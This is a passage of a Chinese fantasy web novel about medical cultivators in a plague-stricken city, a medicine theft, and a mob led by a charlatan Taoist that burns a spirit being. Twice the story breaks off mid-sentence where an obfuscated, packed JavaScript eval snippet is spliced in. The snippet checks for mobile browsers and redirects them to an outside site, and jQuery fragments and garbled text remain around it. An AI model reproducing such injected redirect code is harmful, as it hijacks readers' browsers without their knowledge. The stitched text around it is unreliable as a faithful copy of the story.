“你知道什么是妖精。”妇人没将孩子的话放在心上,把她抱进屋里,“娘去给你爹打饭,你在这儿坐着,不许乱跑。” 小女孩目送着妇人离去,一转头,门边冒出来几颗小脑袋,正是之前跟她一起玩的小伙伴。 “你还玩不玩了?”另一个小女孩叫她。 “玩!”小女孩开心地跳下床。 28. 贪嗔生 夜深人静,库房四周黑灯瞎火,一个人都没有。 男人寻思半天,拿定了主意,谁也没跟谁说,在库房四周转了半晌,见始终没人过来,便蹑手蹑脚地靠近。 靠近一看,才发现库房门上了道锁,男人心中大骂,不死心地拽了拽,谁知竟一下将锁拽开了。原来锁只是虚挂着,男人大喜,解开锁链,悄无声息地推门进去。 库房中摆满了药柜药架,男人借着月光,四处寻找方子上的药材。他怕拿太多被人发现,也没管药方上的分量,看抽屉里剩的多的就多拿点、少的就少拿点,分开包进纸包。 他本只寻找药方上的药材,斜眼见到一旁抽屉上写着“人参”,贪念顿起,一不做二不休,又将药柜里值钱的药材都搜罗了一遍。 眼看着包袱皮包不下,他又往怀里揣了两把灵芝,这才重新关好门,背着包袱扬长而去。 一出永安堂,男人立刻直奔家中。 到家后,他像宝贝一样解开包袱,将偷来的药材挨包把玩一遍。要喊妻子找秤来称药,又想到妻子正在永安堂,只能自己动手,在家中翻箱倒柜找了半天,弄得屋子里乱七八糟的,才好不容易找到了盘秤。 方子上的药量都比较克制,他担心没效果,索性都多抓了一点,想让老太太的病快快好转才好。 方子上没写煎药的方法,他自己琢磨着得多煮一会儿,好把药力都煮进药汤里,于是熬了近一个时辰,中间补添了好几次水,这才成了一碗。 此时已是子时,男人困极,耐心告罄,觉得熬得差不多了,便将药盛好,捂在怀里送去永安堂。 他回去时,庭院中还有几个实在难以入眠的妇人正分坐在合欢树下。 为方便行走,院子里常亮着灯。有人麻木地坐着,也有人借着灯光,捧着给经书念念有词。 “他那么好的一个人,这病怎么就落到了我们头上。”一个上了些年纪的妇人捏着帕子哽咽。 “咱家是不是招着什么了。”一人小声道,“我听我家娃儿说,他们几个小的在永安堂里见着妖怪了,血葫芦似的,还从人身上吸着血呢。” “什么?”妇人闻言大惊,连帕子都放下了,“都说小孩儿眼睛干净,能见到大人见不到的东西。他真的见着了?” “说得真真儿的。”那人言之凿凿。 “你们家孩子也见到了?”旁边另一个人听到了他们小声的谈话,也插了进来,“我家孩子也跟我说来着,我还没当回事。” “你家孩子也跟你说了?”之前说的那人连忙将她拉过来,“说的是什么?” “跟你家说的一样,一个红色的大妖怪,把根扎到人身上呢。”后边加入进来的大姐面露惧色。 三人都起了一身鸡皮疙瘩,连连念着佛。 “这可如何是好。”妇人捏着帕子,“孩子们都看见了,难不成确有其事?要不要找谁来看一看?” “现在这个情况,哪儿还有先生能来看这个。”大姐唉声叹气。 “不是说这些大夫就是修士?”妇人忙道,“要不跟他们说一说呢?” 后面加入进来的大姐一拍她的腿:“那妖怪就在后院,我们家孩子亲眼所见,那群修士还围着它搞不知道什么。” “你这么一说,我忽然有了些印象。”中间的那人道,“你们还记不记得,这瘟疫刚开始的时候,永安堂这里就有一个裹着麻布的人,奇奇怪怪的。” “我想起来了。”妇人害怕地说,“哪有正常人披麻戴孝的,绝对是招着什么不干净的东西了,可怜我们还被她蒙蔽,没觉得有什么不对。” 说罢,妇人又哭道:“这可如何是好,我们都叫这不干净的东西圈在这里,只有一群不顶用的不知道哪儿来的修士。” 后面加入的大姐灵机一动:“我想起来了。你们知道北关老梁家的梁二拐子吗?不知道他还在不在,之前我姨娘姐妹家里孩子丢魂儿就是他给看的,一看就好了。” “我第一次听,你可还能联系得上他吗?”妇人紧紧抓住她的手。 “我也是听我姨娘姐妹说的,大概知道个地方,还得上门看看去。”后加入进来的大姐道。 “可得快快请先生来才好!”妇人感激涕零,“我们可都全靠你了呀。” 见她们如此深信不疑,后加入的大姐身上油然而生一股担当来,当即便说:“你放心,我天亮就找梁二拐子去。若他还在,定能帮我们收了妖怪。” 南房,男人将药往老太太床头一搁,团了团衣服,大爷似的坐下。 “这是什么玩意儿?”妻子被他吵醒了,颇不耐地问。 男人对妻子的不耐不以为意:“你瞅瞅,我给咱妈搞来的。这可是好药,你赶紧给咱妈喝,肯定一喝就好。” “这大半夜的把人搅和起来喂什么药,你可真行。”妻子不乐意地摔打着,“这哪儿来的,别给老太太瞎吃啊。” “让你喂你就喂。”男人瞪起眼睛,“别跟我在这儿磨磨唧唧的。药都给你搞来了,就让你喂个药能杀了你啊?” 妻子懒得跟他争辩,反正是他自己的妈,索性遂他的愿。于是从布包里拿出勺子,拆开药罐的包袱,将床上的老人扶起来,柔声轻唤道:“妈呀,妈,你睁开眼睛醒一醒,你儿子给你把药搞回来了,你起来喝两口。” 不远处川断的房间中,也有人彻夜未眠。 “他们暂时先在王员外府中安置下来了。”川连对南星说。 “印偶是法修的手段,我们医修知之甚少。”南星拿不定主意,问川连,“师叔,你可传信上江流派询问了吗?” “我与江流派交情平平,已将此事托给门中叔伯去问了。”川连道。 “希望能尽快问到……”南星暗自思忖,“欸?我们这儿不是还有一个印偶,裹着麻袍,红色头发的那个?我们问问她是不是可行?” “灵物都有自己的法门。川断昏睡,她神龙见首不见尾的,只有她来找我们,我们很难找到她的踪迹。”川连摇头道。 事情至此也是难办。“他们几个和那个印偶 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“抓药的时候都不知道手干净一点吗?”南星生气地说,“把药都弄得脏兮兮的,白芍里混着黄柏,公英上撒着菊花。你们最少也在谷中学了五六年了,连这点事情都不懂得注意吗?” 乌柏瞅瞅坐在一边的广白,广白冲他摇摇头。乌柏走过去,在广白旁边坐下,二人互相偷偷摆了个鬼脸。 “昨天晚上谁最后去抓的药啊?” 乌柏小声问。 乌柏朝不远处黑着脸的人努努嘴。 那是曲莲,比南星小不了多少,已经是很有经验的端末堂弟子了。乌柏觉得她干活儿一向很利索,不可能出这种问题,于是回头问广白:“确定是咱们的人干的吗?不是他们本地的大夫偶尔做事不讲究?” 广白道:“今早就是他们和南星一起去的药房。两伙人有说有笑地去了,结果一拉开抽屉,一片狼藉。本地的大夫嘴碎,教了南星两句抓药时不能撒得到处都是。南星用得着他们教这个?当场面子就挂不住了,又不好跟人家说什么,不然回来怎么会发这么大的火。” 乌柏只能摇头,又跟广白分享了一下南房的情况:“南房甲一床出现了一个病人,六十多岁的老太太,之前情况一直就那样,今早忽然精神了许多。我看表征和脉象,都好了不少。” 广白听了也是惊疑不定:“你给她用什么了?” “没有特殊用药。” 乌柏凑过去小声说,“自从发现了师祖的药方连用也会药力减弱之后,我都只敢给热灸了。昨天又发现那么个事儿,谁还敢乱给药啊。” “那这是怎么回事,怎么忽然好了这么多。” 广白皱眉,“别是回光返照吧?” “回光返照我还看不出来?”乌柏道,“我怀疑这个老太太身上有什么特殊的地方,说不定是这个病的突破。” “这还能有突破?” 广白不信,这可是天谴。 乌柏道:“我简单看了看,还没有发现。准备一会儿等师叔出来跟师叔说说呢。” 广白站了起来:“师叔还在写给谷里的信,你先带我去看看。” 29. 怨憎落 乌柏和广白二人结伴去往南房。一进去,就有好几道视线落在他们身上,又飞快地移开。 广白和乌柏只当是平常,到甲一床打了个招呼:“今天精神头挺好啊。” 老太太的儿媳没接话,有些局促地站起来。二人来到床边给老太太号过脉,又观察了一下黑斑的状态,都啧啧称奇。二人急着回去查书,又叮嘱了几句就离开了。门边上的人看着他们走远了,飞快关上了门。 “走远了走远了。”那人给屋里的人报信。 屋里的一个女人忙说:“你就在门口守着,要是他们有人来了你就提醒我们。” 那人依言出门去,屋里讨论起来。 “这什么世道啊。”叮嘱门口那人放风的女人道,“这药效果这么好,他们还控制着不让我们用,只给他们自己人用,哪有这种道理。” “是啊。”另一个躺在床上的人开腔,“就他们修士金贵,凭什么我们凡人就不配用好药啊?眼见着人病成这个样子,他们还每天就给点对付的药,要不就是拿个破药条在那儿给你熏,还说什么特意下界救我们,我看啊,都是耍我们玩呢。” “哼,我看啊,说不定这病就是他们故意搞出来,就为了拿我们试药!” 男人开口道,“他们的药都在仓房里,我们把药劫了,给大家发下去,大家的病就都能好了。” “好!”女人第一个支持,又说,“人多力量大,我这就去告诉其他几个房间里的人去,大家一起商量。” “且慢!”男人忙拦住了女人,“知道的人多了容易走漏风声,要是让那些人有了防备,我们再行事就难了,事成之前切莫声张。要谋划成事,我们这些人也够了。拿到药,我们南房的这些街坊第一批分,我们分完了,够用了,再去照顾其他房间的兄弟姐妹。” “我们这几个人怎么动手?”另一个人问。 “我都观察过了。”男人将情况细细说来,“他们一天会去仓房取三次药,一次早上,一次傍晚,一次夜里。这三次他们都要交班,夜里那次取完药,不当值的人基本都去睡了,那时候他们活动的人最少。到时候,我们留一些人在屋里,把他们活动的人都引过来,然后我们另一批人再去后院,把他们的药都装走。药方在我这里,到时候大家把药运到我家,我给你们抓药,你们拿上药去熬就好了。” “不能把那个方子直接给我们吗?”女人说,“我们自己抓药自己熬药就得了。” “是药三分毒,人民关天。我之前家里做药材生意,又熬过这个药,比你们熟悉很多。要是你们自己誊抄,抄错了,或者是抓药的时候抓错了,给人吃出问题来怎么办?”男人将手一摊,“到时候别再找我来说我害你吧!” “那不能那不能。”妇人连忙圆场,“兄弟你没藏着掖着,有什么消息都分享给我们,这才是真正的好街坊呢。” “正是正是。”屋中其余人也赶忙开口,“我们街坊邻里这么多人,大家各自为政都乱了套,正需要兄弟受累统一帮我们管理呢。” 另一个人忽然提到:“他们的药有多少,能够我们大家分吗?” “我看他们仓房里还有好多没拆进药柜的,大包大包的药材摞在一起,肯定够我们分了。”男人连忙道,“要是不够,我们绑两个他们的人,叫他们再去跟他们那个什么国里去要。” 提到这个,有人想到:“我们拿这么多药,之后他们肯定会发现了,到时候怎么办?” “不怕。”男人四平八稳地坐着,“他们自己人也生病了,也要吃药。到时候药都在我们手里,有的他们求我们的。” “他们不是修士,会不会有什么隔空取物之类的法门?”有人问,“他们要是来硬的,我们能打得过他们吗?” “这个我知道。”女人说,“之前我帮他们去厨房做饭的时候,跟他们一个小姑娘闲聊,那小姑娘都跟我说了。他们这群人啊,是学医的,叫‘医修’,跟那些特别厉害的修士不是一个路子的,他们除了看病啊,什么本事都没有!” 众人发出一阵哄笑,笑声传到庭院中,正在归拢用过的帕巾的南星听见了,被这阵欢笑感染,也不由得露出笑容来。 “做什么这么开心。”南星将帕子往旁边一放,对水萍说,“走,咱们看看去。” 坐在南房门口的人见到了她们,离得老远就大声跟她们打招呼:“哎呀,南星姑娘,水萍姑娘,过来南房看看啊!” 南星笑道:“在庭院里就听见你们这边欢声笑语的,做什么呢这么高兴,我们也来凑凑热闹。” “大家在这儿住着憋闷,有个小伙儿给我们说故事呢!”那人大声应道。 这一会儿,南方里的笑声也渐渐消失了。南星带着水萍推门进去,人们要么垂着眸,要么背过身。 南星兴致勃勃地问道:“什么故事这么好笑,让你们乐得我在庭院都听见了。” “已经讲完啦。”男人答道,“讲我们遇到的一桩好事,姑娘来晚啦。” “好,那下回赶上了我再跟你们一起乐一乐。”见他们精气神不错,南星也高兴,“开心点好。笑一笑十年少,你们心情舒展了,病好得也能快些。” “正是呢。”除去男人,没人跟南星搭言。 巾帕还没收完,南星略说了两句就退出门去:“你们继续乐吧,我跟水萍忙别的去了。” 另一头,王员外府上。 昨日下午丹砂已传信回永安堂说明了情况。川连深知印偶身上的黑气的严重性,若贸然带回人群中,恐怕会致使更多人病情加重,或是导致现有的治疗手法更快失效。 卜芥和路通明白其中利害,虽不免在心中自嘲倒霉,但也没有抱怨或不情愿,一决定留下,就自觉地去寻找起了解下来几日可能会用到的东西。回不去永安堂,不知广丹情况如何,卜芥格外担心些,但也只能隐下,只道时常传信回去便是了。 万幸崔府各房家具被褥一应俱全,卜芥等人捡了最次等的下人房间住下,厨房中还有些零星剩下的米面菜蔬,也够他们在此生活一段时间。 从井中救出来的印偶安置在西下间,其余众人住在离西下间较远的东罩房。才收拾好,丹砂就带着印偶一头扎进了屋里。 川连联系小南国查此印偶之事不提,丹砂也在用她的方式调查印偶的来路。 花沐雨守在门外,已经和丹砂说了自己师父法宝的事,丹砂也在信中拜托川连通知燃灯,只是不知道燃灯要多久才能收到信件。 清早,卜芥端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294809|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着托盘去给丹砂送饭,一眼见到回廊下含苞待放的花树,不由得心生奇怪——这才一夜过去,这里怎么也长出了梨花树。 来到门口,卜芥看了看紧闭的房门,问坐在台阶上的花沐雨:“还没出来?” 花沐雨摇摇头,给他看昨天晚上送来的餐食,一份吃光了,一份几乎没怎么动。 “她昨晚就吃了两口,一直闷头鼓捣,我说也没理我。”花沐雨一想到丹砂就摇头。 卜芥问:“还是什么都没发现?” 花沐雨摇头:“我倒担心她搞出什么事。” 卜芥走到门前,轻轻敲了两下:“丹砂?吃早饭了。” 屋里的丹砂正蓬头垢面地对着一截头发,冷冷地说:“不吃,别烦我。” 卜芥的脾气一下子上来,但想起她这边进展顺利广丹那边才有救,又生生忍住了。花沐雨无奈地伸手:“先给我吧。后面她想吃的时候自己就出来了。” 卜芥劝自己丹砂就这狗脾气,将托盘给了花沐雨,又顺手带走了昨晚的餐盒,转身回东边找路通去了。 也是这一早,夜里合欢树下被委以重任的老大姐走出永安堂,径直往记忆里的方向走去。 “梁二拐子!二拐子!”老大姐拍着老朽的柴门。 梁家在北城的角落里,周围的人都因瘟疫向永安堂附近搬空了,只剩他一家,找过来废了她不少工夫。 “谁啊?”从屋里传来闻声。 “我是你陈家二嫂子。”老大姐在门外喊道,“找你有事!” 吱呀一声,梁道已开门出来。 他身穿明黄道袍,头戴阴阳冠,脚踩簇新的布鞋,手中还挎着一把顺滑的拂尘。 老大姐观之,心中暗叹。虽然梁二拐子住在这破旧低洼的地方,往日也没什么好名声,但看他衣着打扮不俗,想来是真人不露相,还是个有真本事的,倒是自己此前将他小觑。 肉眼凡胎果真是先敬罗衣后敬人,梁道已因着仙尊的指引,日日捡最好的衣着打扮齐整在家等候,果真如今还未交谈,就叫人更高看他几分。 看着老大姐似有所求的谄媚姿态,梁道已便端了起来。 “女施主所为何事?”他半眯着眼,嘴也不张地道。 见他如此做派,老大姐气势又矮几分:“大师容禀。近日城中瘟疫一事,想必大师也有所耳闻。我们本遵从医嘱、老实在永安堂内就诊,未料昨天几个孩子识破了其中真相,原来正是永安堂中一妖孽作祟,这才惹来这场瘟疫。我们无法,特派我来请大师出山。” “哦?是何妖孽,敢在我梁某人眼皮子底下造次。”梁道已拿腔拿调。 老大姐忙道:“我们老眼昏花,看不清楚,是小孩子眼睛尖,看到说是一个血呼呼的妖怪,连着大管子吸我们精气呢。” “竟有此事。”梁道已一挥拂尘,“且容我请仙尊,与你同去永安堂一探。” 老大姐不敢进屋,只等在院门外。梁道已稳着脚步,仍能看出他回身时有些一跛一跛的。 回到屋里,他先是忙不迭在屏风前给神像叩了两个头,在心中感念仙尊所料不虚、自己发达机会近在眼前,又毕恭毕敬地绕到屏风后,拿起红布,将神像仔细包好,请出了神龛。 30. 心生百鬼人事恶 东城。 一阵清风吹动阶前杂草,无形之气化作一个高冠博带的白衣女子。 女子体态颀长,一袭白衣在日光下散发着逼人的灵光,一时仿若化作法光,一时仿若透明,衬得她点点含泪的双眸中有无限悲悯。 她拢袖,仰头看着写着“王员外府”的匾额,半晌,自言自语般开口:“我久见卿,卿未知我,岂非憾事。即已至此,我等三刻,若此门请我进去,我便与卿解惑。” 另一头,不知卜芥正在找他,左右无事,路通得闲,吃过饭之后四处闲逛,在柴房见到一把扫把,思及昨天的梨花落了一地,便拿着扫把,想去把路上的花瓣扫一扫。 他动作利索,花园里的地很快扫完,还是觉得有些意犹未尽,于是拎着扫把继续往前面去。 清理了前院地上灯笼、树叶等杂物,他见大门还没关,便想把大门从里面闩上。刚夹着扫把来到门口,就见门外不远处有一个白衣女子无声无息地站着。乍见唬了他一跳,再仔细一看,不由得从心底生出几分亲近。 原来真有人长得就是“神女”这两个字最确切的样子。 传言天地初开,万物蒙昧,种种灵气聚集,化身为大荒山群圣,此为天生神族。 当时四季不调,晨昏无序,弱小的人族如风中残烛,在洪荒中艰难求生。江河神女长居昆仑,于万千劫后生出怜悯之心,命江河在人间流淌,哺育人族生长繁衍。 山为剑脊,水为法脉;法修依水,剑士居山。大荒群圣销声匿迹后,江流派中仍供奉着江河神女。早年路通拜访江流派的时候,曾有幸瞻仰过江河神女的神像。高耸的神像眉目间栩栩如生,传闻中的江河之母垂眸看着来往参拜的人,就像是慈爱的母亲注视着自己的孩子。 对路通而言,那已经是很多年前的事了。而此时此刻恰如彼时彼刻,即便眼前人并非当时人。他看着门外的白衣女子,恍惚间仍找回了当年神像之下的明悟。 路通就这么呆呆地看着她,隔着一道门缝,白衣女子也平静地看着他。 路通如梦初醒。 “抱歉抱歉。”路通慌忙地抬手挠头,却忘了胳膊下还夹着东西。扫把吧嗒一声掉在地上,叫路通更加窘迫。 手忙脚乱拾起扫把,路通忙打开此前半开不开的门扇,对门外的女子说:“你要进来这府上吗?府里的人都走光了,我们现在借住在这里。你知道此地闹瘟疫吧?里面不好让人进去。” 白衣女子平静的面容一动,唇角勾起道似有似无的笑意,轻轻启唇:“你要请我进门吗?” 路通第一次听到这样好听的声音。她的语气中有无限的温和,只说了两个字,却让听到的人瞬间放松下来。 路通近乎睡过去了一瞬,回过神来只觉神清气爽,心情是从未有过的轻快。 “请进请进。”他万分欢迎地让开身子,又反应过来,复道,“扈陵城中最近瘟疫流行,日前我们在此发现了一人,对常人来说十分危险,其实常人不便进入此处,以免感染瘟疫。” 白衣女子举步迈上台阶,面上似有恍然:“原来如此。” 路通忍不住关心道:“在下小南国端末堂弟子路通,不知尊驾何人,可否需要什么帮助?” “你想要帮我么?”白衣女子看着他,略一点头,“谢谢。” 说着,她朝路通走来。路通不知道她想要做什么,也不知道自己该做什么,僵立在大开的门后,看着她来到了自己面前。 近到不能再近,白衣女子端详他片刻,抬起手指轻轻在他眉心一扫:“既然要帮我,你怎么还站在这儿呢?” 说完,她迈过台阶,越过路通身侧,径直朝崔府的更深处走去。 路通呆站在原地,等她的背影逐渐消失才骤然回过神来。 回神的那一刻,一个疑问忽然出现在他的脑海中:我为什么要像坐牢一样在这儿待着? 回想起昨天出发前的情景,他忽然觉得当时旁边的人神色不对劲。 他们一定早就知道丹砂在王员外府这边发现了什么吧,要不然为什么乌柏要来,白广叫他留下帮忙呢?白广和乌柏关系一向要好,一定是知道来这边凶险万分、有来无回,才把他保下了。他们合起伙来欺负自己一无所知,叫自己傻乎乎地出来送死。 又想到自己和那个遭瘟的印偶相处了这么久,说不定早就和广丹一样染上这种治不好的瘟疫了,他心中的不忿越烧越旺,既恨他们把自己送上绝路,又恨自己入了小南国,在门中不受重视便罢,还要来这什么都不行的人间,做什么义诊。 如今查出来印偶,他们还要瞒着百姓,这便是拿平民百姓当和自己一样的冤大头呢。 思及此处,路通拿定主意,摔开王员外府的大门,头也不回地大步走了出去。 街上静悄悄的,一个人都没有。路通快步走着,只能听到自己如擂鼓般的心跳,和呼哧呼哧的急促呼吸声。 也不知走了多少时间,仿佛很长,又仿佛只是一瞬,“永安堂”三个大字映入他的眼中。 往日永安堂周围都有官兵镇守,今日不知为何都不见了。路通并未留意这个,只知道永安堂外没什么人,也无人拦他。 他三两步迈入大门,正看到院里闹哄哄的一团。 南星水萍广丹和几个大哥大姐拉扯着,中间是一个扯掉了兜帽、露出一头红发的印偶哑女。其他男女弟子被拦在一边,正和一群男人撕扯。 “都住手!”川连冲了出来,大哥大姐还怕他几分,叫他从中间分开。南星水萍把哑女搂在怀里,哑女软倒着靠着她,失去意识似的。广丹冲到川连身侧,和川连一起把她们护在身后。 众人之间的撕扯一缓,大家都静下来看着当中的川连。 “这又是在胡闹什么!”川连痛心疾首地跺着脚,“禁军屠民,哑女护住了整个北城;昔日川断义诊,哑女照顾过多少人!你们要把她烧死?!” “她是妖孽!”人群中为首的黄袍道士手揽揭开红布的神像,右手拂尘一挥,朝着川连指去,“你护着她,你也是妖孽!” “你才是妖孽!”川连气得发抖,“我乃凌虚界小南国医圣余甘子座下弟子,哑女,乃是天地孕育灵物所化的印偶!只你这道士,妖言惑众,血口喷人!” “诸位且看,”梁道已转而对围在他四周的人群说道,“这就是被妖孽蛊惑,神志不清之后开始胡言乱语的人。这个时候你再跟他讲道理是讲不通的,只有等我们把妖孽烧死之后,欸,他才慢慢开始好了。所以你们务必紧随我左右,只听我号令,不要听妖孽的话,否则必如此人一般,到时候死路一条,连我都束手无策。” 人群纷纷应和,无不警惕地盯着川连。 “愚昧,愚昧无知!”川连气得转圈,“是谁保护了你们!是谁给你们看病用药!你们好坏不分,听信他人一面之词……” “谁知道你们给我们看的什么病、用的什么药!”人群中一个人大声道,“有好药你们从来都紧着自己人。谁保护我们了!我们怎么没见着!” “就是!”另一个人道,“你们要真有心给我们治病,怎么这么长时间没见好!你唬谁呢!” 川连直想不跟他们说了:“太子呢!钦差呢!人都去哪儿了,还不快把这群愚民拿下!” “太子……” “钦差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294810|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这儿。” “官兵呢?” 听到川连搬出了官家,原本虎视眈眈的人群有的心生退意。他们可确实见到官家的人对这些人礼遇有加,不会真的得罪不起吧。 “怕他什么,还能把我们都杀了不成。”有人道。 黄袍道士也喊道:“我们这么多人,即便是官家,也得听一听我们的想法!” 众人还心存犹豫,就听外头传来一人的应和:“我作证!外面的官兵都走了!” 众人循声看去,站在门厅下高举着手的,正是路通。 “这不是他们那边的什么弟子吗。”有人和同伴嘀咕。 “路通?”川连不敢置信地望着他,“你怎么回来了。” 路通奔下阶来:“我回来就是为了揭露此事的真面目的!” 川连愕然,人群纷纷为路通让出一条通路来。 “这位道长说得没错,瘟疫的源头,正是这些印偶!”路通站到黄袍道人旁边,“我们在瘟疫源头的张员外家花园的水井下,发现了一具印偶。正是印偶引发了天谴,扈陵城的瘟疫才会久治不愈!” “天谴!他说是天谴!” 众人一片哗然。 路通接着说:“你们隐瞒不报,让大家都蒙在鼓里,还在傻傻地等着你们所谓的医治。不破解天谴,一切治疗手段都没有用,大家都得等死!” “这可是你们自己人说的,你还有什么话说!”群情激愤,山呼海啸般的质问朝川连压来。 “就是瞒着我们,就是不跟我们说,有钱人都跑了,打量我们一个个蒙在鼓里糊涂死了才是了事!” “什么修士,沆瀣一气、欺世盗名罢了!” “把他们都绑起来,一起烧了!” “把他们都烧死,我们的瘟疫才能过去!” 人群围成的圈子不断朝川连南星等人逼近,不知道是谁第一个动手,人群呼啦一下都冲了上去,七八个人摁住一个弟子,弟子们连日出手治病救急,一点灵力也无,都被人群压在了地上。 一个男人拽着水萍的头发,水萍捂着发根尖叫一声倒在地上。几个大姐勇猛非凡,五指攥着南星和广丹,像铁爪一样把她们的胳膊拧在身后。又有一群人摁下川连的脑袋,在他背上腿上七手八脚的捶打。 两个男的拖着软绵绵的哑女,脸上闪着兴奋的光:“在这儿!我们抓住妖孽了!我们抓住妖孽了!” 旁边的帮手拿来绳索,将小南国的弟子和哑女分开绑住。小南国弟子有的叫骂不止,全都被人堵住了嘴。 黄袍道士命人将哑女绑在树上,请了供桌,将神像对着哑女端正摆好,煞有介事地对着人事不知的哑女念了段咒、跳了段舞,举起火把,冲着四周人群高喊道:“先杀妖孽,我们再去王员外府上,将剩余的孽障一并擒来!” “好!”人群中欢呼叫好不断,道士将火把往哑女脚下一送,火势骤然腾起,人群中的呼声达到顶峰,是真做成了一件大快人心的好事。 点完了火,黄袍道士冲路通拱手道:“不知侠士高姓大名?” 路通也气宇轩昂起来:“在下路通。”说罢,看了看被压着跪在一旁的川连等人,面露不忍,冲四周拱手道,“各位父老乡亲,无论如何,在下毕竟曾是小南国的弟子,与此一干人等有同门之谊,实在不忍见他们如此。不知各位父老乡亲可否看在我的面子上,免了她们的跪?” 此话一出,人群中也传来一些心软的声音。 “路通小友高义。”黄袍道士道,“便放他们自由坐卧吧。” 守在小南国弟子旁边的人哼了一声撒开手,有的弟子体力不支,歪倒一团。 31. 一情难解罪怎说 王员外府。 “路通?路通!” 卜芥送饭回来没看到路通的人影,便顺着小路找过来。 绕过一个转弯,前方的游廊环绕着锦鲤池。卜芥四下寻找着路通的身影,路通没看见,却见到一个白衣女子款款走来。 此处离后罩房已经很近了,卜芥连忙赶过去阻拦,一边快步走一边喊道:“快站住!你是哪儿来的!不能再往前走了!” 白衣女子迎着他走过来,一挥手,卜芥便定在原地。 “他一个人回去就够了,那你怎么办呢?”她的眉目间有些愁色,好像如何处置面前的人叫她十分为难似的,思索了一会儿,仍没想出什么有新意的主意。 “不如这样吧。”她有商有量地说,“我去找姑娘们,要是第一个见到的是丹砂,你就从这儿跳下去,跳到水池里,把自己淹死,然后脸朝下漂在水面上,让锦鲤围着你游来游去;要是我第一个见到花沐雨,你就用力地往墙上撞,撞出来的脑浆要溅得高高的,不光是地上、墙上,连画栋都要溅上你的脑浆;要是她们一起见到我,那你就在头顶这根房梁上吊死吧,反正也没什么意思,我们可以简单一点。” 言出法随,冥冥中无限天机变换,宿命的扭转落在庶人身上轻于尘埃,在当下看着这张悲天悯人的面孔,卜芥只觉不解又毛骨悚然。 后罩房,丹砂气愤地捶了一下桌子,将没什么用的头发付之一炬。 在外面的花沐雨听到动静,推开门走进来,把早餐托盘放下:“既然想不出来,不如先吃点东西吧。” “吃东西吃东西,少吃一顿又不会死!”丹砂烦躁极了,“就知道吃吃吃,难怪脑子都被饭塞住,才能这样一天天什么事都不思考地傻乐。” 花沐雨只能摊手:“行吧。不想吃也行。” 她本等着丹砂一起,既然丹砂不吃,她就在桌边坐下,将自己那一份拿起来准备吃了。 “哈。”丹砂受不了地站起来,在房间里兜了几个圈,“很好。粥,咸菜,吃完之后昏昏欲睡,本来就不怎么动的脑子彻底停摆,然后再将你们这些本就没什么价值的人生再浪费上一个时辰。” 花沐雨舀着粥的勺子停在嘴边,而后毫无障碍地送进嘴里:“这咸菜可能是之前府里的厨子留下来的,味道挺好。” 丹砂闭上眼睛长长吐出一口气:“闭上嘴,安静地吃完,然后出去,把门关上。” 花沐雨不以为意,回头看了看那只印偶:“她一直没动过?” “没死。”丹砂冷声道。 “不应该啊。”花沐雨道,“她到底是何物的灵,怎么会虚弱至此?” “她的头发本来应该是白色的。”丹砂之前拼命剥离黑气,她的头发曾有一瞬露出过雪白的本色。 想到开满小径的梨花,花沐雨道:“难道是梨花的精灵?也不应该啊,寻常花木灵气有限,没大造化不可能生出灵物。” 丹砂狠狠地抓了两把头发:“她是什么东西都好,我要知道为什么她身上天谴之力这么浓重!” 花沐雨无奈,正要低头继续吃饭,忽听锁链叮铃一响——怕伤到印偶,这些砍不断的锁链还扣在她的手脚上,没来得及彻底解下。 “欸,她动了!”花沐雨喊丹砂。 不等她们过去,印偶已经从床上翻了下来。花沐雨连忙去扶,然而印偶的身影在她手臂落下前一闪而逝,只在她的皮肤上留下几点凉丝丝的触觉,来不及细看是什么就化成了细小的水珠。 糟糕!花沐雨立即顺着灵气的轨迹追了出去。 印偶已经虚弱至极,即便是化为灵气携风而去,也跑不了多远。花沐雨追到门外,就见到印偶被镣铐坠着现出人形,扑倒在一个之前没见过的白衣女子脚下。 那个白衣女子手中捏着一只扑扇着翅膀的纸鹤,低头看着匍匐在自己脚下的印偶。印偶极力抬起手,手腕上被镣铐刮出了血痕。 “有意思,第一个见到的竟然是你……”白衣女子喃喃自语,“你竟然还能动?是最后一点力气了吧。想要这只纸鹤吗?你还认识这个气息,对吧?” 她蹲下来,捏着纸鹤的翅膀,将它放在印偶的手上:“你没认错,是凛岳的纸鹤。” 印偶不知从何处生出了力气,缓慢地合拢五指。然而就在印偶即将把纸鹤拢在手中的那一刻,白衣女子缓缓地松开了捏住纸鹤翅膀的手,重获自由的纸鹤立刻重新挥动翅膀,印偶孱弱的手指再也阻拦不住,纸鹤翩飞而去。 “可惜啊,”白衣女子叹道,“这个也不是给你的。” 后方,花沐雨接住飞向自己的纸鹤揣进怀里,三两步赶过去。白衣女子顺势扶起印偶,让她靠在自己身上。 之前离得稍远,花沐雨并没有听到她说的是什么,见她眉眼柔和、动作小心,心中下意识升起了几分亲近,帮着她将印偶扶好:“多谢阁下。不知尊驾何人?” 白衣女子拢住印偶挣扎的手,抬眼望向花沐雨。花沐雨被她的目光注视得有些不自在,疑惑地以眼神询问。 “我是薛心。心意的心。”白衣女子轻声开口。 “哦……”花沐雨有些晃神,正要说出自己的名字,丹砂不悦的声音打断了她:“碰了会死。” 花沐雨一惊,回头看到丹砂抱着胳膊不远不近地站着,这才猛然想起印偶身上的黑气,刚想提醒,薛心先开口道:“情况我都知道,那些黑气和瘟疫于我无碍。” 